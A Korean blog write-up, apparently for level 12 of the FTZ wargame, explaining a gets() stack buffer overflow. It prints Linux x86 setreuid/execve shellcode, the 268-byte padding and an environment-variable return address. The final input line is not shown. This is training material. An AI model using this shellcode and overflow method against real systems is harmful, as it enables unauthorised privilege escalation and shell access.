블로그 이전했습니다. https://jeongzero.oopy.io/
12번
본문 바로가기
워게임/FTZ

12번

728x90

 

해당 문제도 11번과 동일한 방식으로 풀면된다.

 

gets함수는 키보드로부터 표준입력을 받는 함수인데 이 역시 입력받는 버퍼의 크기를 검사하지 않기 때문에 버퍼 오퍼플로우의 취약점이 존재한다.

 

 

 

메인함수에서 str 버퍼의 크기를 0x108만큼 확보하므로 10진수로 더미포함 264바이트 만큼 크기를 할당한다.

 

 

11번 문제와 동일하게 268바이트 만큼 아무값을 채우고 쉘코드를 환경변수에 등록한뒤 해당 환경변수의 주소값을 ret주소에 넣어주면 끝이다.

<shellCode>
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

export SHELLCODE="위 쉘코드"

 

그다음 getevn함수를 이용하여 얻은 환경변수의 주소는 

0xbffffb96

 

따라서 다음과 같이 입력하면 13레벨의 비밀번호를 확인할 수 있다.

 

728x90

'워게임 > FTZ' 카테고리의 다른 글

16번  (0) 2019.05.11
13번  (0) 2019.05.11
11번  (0) 2019.05.11